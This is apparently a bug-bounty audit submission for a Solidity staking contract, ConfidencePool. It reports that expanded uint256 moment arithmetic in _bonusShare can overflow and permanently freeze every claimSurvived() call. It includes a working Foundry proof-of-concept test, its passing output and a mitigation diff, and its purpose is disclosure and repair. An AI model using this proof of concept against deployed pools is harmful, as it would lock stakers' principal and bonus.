FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Expanded k=2 moment arithmetic can overflow and permanently freeze all pool claims

Author Revealed upon completion

Root + Impact

Description

Normally, every amount accepted by stake() remains claimable after a valid
SURVIVED resolution. claimSurvived() calculates the staker's k=2 bonus
weight and transfers principal plus bonus.

_bonusShare() instead evaluates the centered second moment through expanded
uint256 terms. At ConfidencePool.sol:704-710, the first addition can
overflow before the later subtraction even when each stored moment and the
final mathematical score fit:

uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;

The final Math.mulDiv at line 719 cannot protect these earlier additions. An
ordinary staker can therefore push an allowlisted token's aggregate base-unit
stake one unit above the exact boundary. Once SURVIVED is flagged, every
claimSurvived() call panics and the pool retains all principal and bonus.

Affected code:

  • src/ConfidencePool.sol:382-400 (claimSurvived)

  • src/ConfidencePool.sol:696-719 (_bonusShare)

The 2026-07-11 public review of repository issues and pull requests,
docs/DESIGN.md, source history, and upstream tests found no issue with this
root. Existing high-magnitude tests cover the final Math.mulDiv, not the
preceding raw-moment addition.

Risk

Likelihood: Low

  • The pool must use a factory-allowlisted standard ERC20 with enough base-unit
    granularity and supply. The PoC uses 60 decimals; the contest assumptions
    exclude fee-on-transfer and rebasing behavior but state no decimals or supply
    cap.

  • No privilege is required after pool creation. The attacker is an ordinary
    staker and does not control the owner, moderator, registry, or token.

  • At the PoC timestamps, the first failing aggregate stake is less than 0.02
    whole tokens at 60 decimals.

Impact: High

  • All stakers' eligible principal and bonus become permanently unclaimable in
    the affected pool.

  • withdraw() is disabled after the risk latch and resolution.

  • sweepUnclaimedBonus() reserves the outstanding principal and bonus.

  • Re-flagging CORRUPTED is invalid in terminal PRODUCTION; re-flagging
    SURVIVED recreates the overflowing snapshot.

  • Pool clones are non-upgradeable, so a factory upgrade cannot repair an
    affected pool.

High impact with a low-likelihood token prerequisite supports Medium severity.

Proof of Concept

Requirements: Foundry on PATH, repository dependencies installed, and commit
58e8ba4ce3f3277866e4926f3140e597f9554a1e checked out.

Create test/poc/ConfidencePoolOverflow.poc.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {stdError} from "forge-std/StdError.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract MockHighDecimalERC20 is MockERC20 {
function decimals() public pure override returns (uint8) {
return 60;
}
}
contract ConfidencePoolOverflowPoC is BaseConfidencePoolTest {
ConfidencePoolFactory internal factory;
function setUp() public override {
super.setUp();
token = new MockHighDecimalERC20();
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy factoryProxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(address(safeHarborRegistry), address(poolImplementation), moderator)
)
);
factory = ConfidencePoolFactory(address(factoryProxy));
factory.setStakeTokenAllowed(address(token), true);
pool = ConfidencePool(
factory.createPool(
agreement,
address(token),
block.timestamp + 31 days,
ONE,
recovery,
_defaultScope()
)
);
}
function testClaimPermanentlyRevertsAboveExpandedMomentThreshold() external {
uint256 t = vm.getBlockTimestamp();
uint256 terminalTime = t + 3 days;
uint256 triggerTotal = type(uint256).max / (t * t + terminalTime * terminalTime) + 1;
uint256 attackerStake = pool.minStake();
uint256 victimStake = triggerTotal - attackerStake;
assertEq(token.decimals(), 60);
assertTrue(factory.allowedStakeToken(address(token)));
assertLt(triggerTotal, 2e58, "trigger is less than 0.02 whole tokens");
_stake(bob, victimStake);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.prank(bob);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
_stake(alice, attackerStake);
_contributeBonus(carol, 1);
vm.warp(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), t);
assertEq(pool.outcomeFlaggedAt(), terminalTime);
assertLe(pool.snapshotSumStakeTimeSq(), type(uint256).max);
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
assertEq(pool.eligibleStake(bob), victimStake);
assertEq(pool.eligibleStake(alice), attackerStake);
assertEq(token.balanceOf(address(pool)), triggerTotal + 1);
}
function testClaimSucceedsBelowExpandedMomentThreshold() external {
uint256 t = vm.getBlockTimestamp();
uint256 terminalTime = t + 3 days;
uint256 amount = type(uint256).max / (t * t + terminalTime * terminalTime);
_stake(alice, amount);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_contributeBonus(carol, 1);
vm.warp(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 beforeBalance = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - beforeBalance, amount + 1);
assertEq(pool.eligibleStake(alice), 0);
}
}

Run:

forge test --match-path test/poc/ConfidencePoolOverflow.poc.t.sol -vv

Observed result:

[PASS] testClaimPermanentlyRevertsAboveExpandedMomentThreshold()
[PASS] testClaimSucceedsBelowExpandedMomentThreshold()
Suite result: ok. 2 passed; 0 failed; 0 skipped

The positive test uses the first failing aggregate amount and confirms that both
claims panic while the full balance remains in the pool. The adjacent lower
amount succeeds, pays principal plus bonus, and clears eligible stake.

Recommended Mitigation

Compute the centered moment with 512-bit intermediates and downcast only after
the final non-negative score is proven to fit. Alternatively, enforce a
conservative token-decimals and aggregate-stake bound during allowlisting and
pool creation.

- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
- uint256 minus = 2 * T * snapshotSumStakeTime;
- uint256 globalScore = plus > minus ? plus - minus : 0;
+ uint256 globalScore = _centeredSecondMoment512(
+ T,
+ snapshotTotalStaked,
+ snapshotSumStakeTime,
+ snapshotSumStakeTimeSq
+ );

Apply the same change to the per-user score and add regression tests at the
exact failing boundary and the adjacent successful value.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!